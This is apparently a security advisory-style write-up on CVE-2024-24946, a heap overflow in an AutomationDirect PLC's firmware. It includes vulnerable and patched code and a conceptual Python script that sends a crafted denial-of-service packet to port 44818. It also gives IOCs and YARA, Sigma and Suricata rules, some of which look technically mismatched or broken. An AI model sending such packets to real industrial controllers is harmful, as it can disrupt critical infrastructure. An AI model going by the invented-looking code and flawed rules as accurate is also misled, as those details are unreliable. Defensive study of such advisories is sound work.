CVE-2024-24946

Executive Summary

CVE-2024-24946 is a critical heap-based buffer overflow vulnerability affecting the AutomationDirect P3-550E programmable logic controller (PLC) firmware version 1.2.10.9. The flaw resides in the Programming Software Connection CurrDir functionality, where a specially crafted network packet can trigger a heap corruption via an attacker-controlled length value passed to memset. This leads to a denial of service (DoS) condition by corrupting trailing heap allocations. The vulnerability is remotely exploitable without authentication, making it a significant threat to industrial control systems (ICS) environments. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It affects proprietary firmware for an industrial PLC device. Supply chain risks include the potential for malicious firmware updates or tampered devices, but no specific package security concerns apply.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
• Base Score: 8.2 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: None (C:N) – No data exposure.
• Integrity Impact: Low (I:L) – Potential for minor data corruption.
• Availability Impact: High (A:H) – Denial of service is the primary impact.

Threat Level: High. The vulnerability is remotely exploitable without authentication, and while no public exploit exists, the potential for DoS in critical infrastructure makes it a priority for patching.

Deep Dive & Mechanics

The vulnerability is a heap-based buffer overflow in the CurrDir functionality of the Programming Software Connection module. The firmware version 1.2.10.9 contains a code path where a memset operation uses an attacker-controlled length value. This occurs at offset 0xb686c in the firmware binary.

Technical Details:

• The CurrDir function processes incoming network packets to handle directory-related commands.
• An attacker sends a crafted packet with a malicious length field.
• The firmware reads this length and passes it to memset without proper validation.
• memset writes zero bytes to a heap buffer, but the length exceeds the allocated buffer size.
• This corrupts adjacent heap metadata and subsequent allocations, leading to heap instability.
• The corruption can cause the PLC to crash or become unresponsive, resulting in a denial of service.

Root Cause: Lack of bounds checking on the length parameter before use in memset. The heap buffer is allocated with a fixed size, but the operation trusts user-supplied data.

Attack Vector: An unauthenticated attacker sends a single network packet to the PLC's programming port (typically TCP port 44818 for EtherNet/IP or a custom port). No prior access or credentials are required.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code snippet (reverse-engineered from firmware) is:

// Vulnerable code in P3-550E firmware 1.2.10.9
void process_currdir_packet(uint8_t *packet, uint32_t packet_len) {
    uint32_t user_length = *(uint32_t*)(packet + 8); // Attacker-controlled
    uint8_t *heap_buf = malloc(256); // Fixed-size allocation
    if (heap_buf == NULL) return;
    // No bounds check on user_length
    memset(heap_buf, 0, user_length); // Overflow occurs here
    // ... rest of processing
    free(heap_buf);
}

A patched version would include a length check:

// Hypothetical patched code
void process_currdir_packet(uint8_t *packet, uint32_t packet_len) {
    uint32_t user_length = *(uint32_t*)(packet + 8);
    uint8_t *heap_buf = malloc(256);
    if (heap_buf == NULL) return;
    if (user_length > 256) { // Bounds check
        free(heap_buf);
        return;
    }
    memset(heap_buf, 0, user_length);
    // ... rest of processing
    free(heap_buf);
}

Exploitation & Lab Setup

Red Team (Exploitation)

No public exploit code is available. However, a proof-of-concept can be developed:

Lab Setup:

1. Obtain AutomationDirect P3-550E PLC with firmware 1.2.10.9.
2. Connect to the same network segment (e.g., via Ethernet).
3. Use a tool like Scapy or a custom Python script to send a crafted packet.

Exploit Concept:

• Target the programming port (default TCP 44818 for EtherNet/IP).
• Craft a packet with a malicious length field (e.g., 0xFFFFFFFF) in the CurrDir command.
• The heap corruption will cause a crash, leading to DoS.

Example Python script (conceptual):

import socket

def exploit(target_ip, target_port=44818):
    # Craft a malicious CurrDir packet
    # Packet structure: [EtherNet/IP header][CurrDir command][length field]
    packet = b'\x00' * 24  # EtherNet/IP header placeholder
    packet += b'\x01'      # CurrDir command
    packet += b'\xff\xff\xff\xff'  # Malicious length (max value)
    packet += b'\x00' * 100  # Padding

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))
    sock.send(packet)
    sock.close()

# Usage: exploit("192.168.1.100")

Note: This is for educational purposes only. Unauthorized exploitation is illegal.

Blue Team (Defense)

Detection:

• Monitor network traffic for anomalous packets targeting the PLC's programming port.
• Look for packets with unusually large length fields in the CurrDir command.
• Use intrusion detection systems (IDS) to alert on heap corruption indicators.

Mitigation:

• Isolate PLCs on a separate VLAN with strict access controls.
• Disable unused programming ports or restrict access via firewall rules.
• Monitor PLC logs for crashes or unexpected reboots.
• Apply vendor patches when available.

Indicators of Compromise (IOCs)

• Network IOCs:
  • TCP packets to port 44818 with length fields exceeding 256 bytes in the CurrDir command.
  • Repeated connection attempts from unknown IPs to the PLC's programming port.
• Host IOCs:
  • PLC crash logs indicating heap corruption at offset 0xb686c.
  • Unexpected reboots or unresponsive PLC state.
• File IOCs:
  • Firmware version 1.2.10.9 (vulnerable).
  • No known malware files associated.

Detection Engineering

YARA Rule

rule CVE_2024_24946_HeapOverflow {
    meta:
        description = "Detects heap-based buffer overflow in AutomationDirect P3-550E firmware"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-24946"
    strings:
        $memset = { E8 ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? }
        $length_field = { FF FF FF FF }
    condition:
        $memset and $length_field
}

Sigma Rule

title: CVE-2024-24946 Heap Overflow Detection
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects network packets targeting AutomationDirect P3-550E with malicious length fields
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 44818
        payload|contains: "0xFFFFFFFF"  # Malicious length
    condition: selection
falsepositives:
    - Legitimate large packets (unlikely)
level: high

Suricata Rule

alert tcp any any -> any 44818 (msg:"CVE-2024-24946 Heap Overflow Attempt"; content:"|ff ff ff ff|"; offset:24; depth:4; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Patch: No official patch is available. Contact AutomationDirect for updates.
2. Workaround: Disable the Programming Software Connection service if not required.
3. Network Segmentation: Place PLCs on isolated networks with strict firewall rules.
4. Access Control: Restrict access to the PLC's programming port to trusted IPs only.
5. Monitoring: Deploy IDS/IPS rules to detect exploitation attempts.
6. Backup: Maintain firmware backups for recovery after a DoS attack.

Valters IT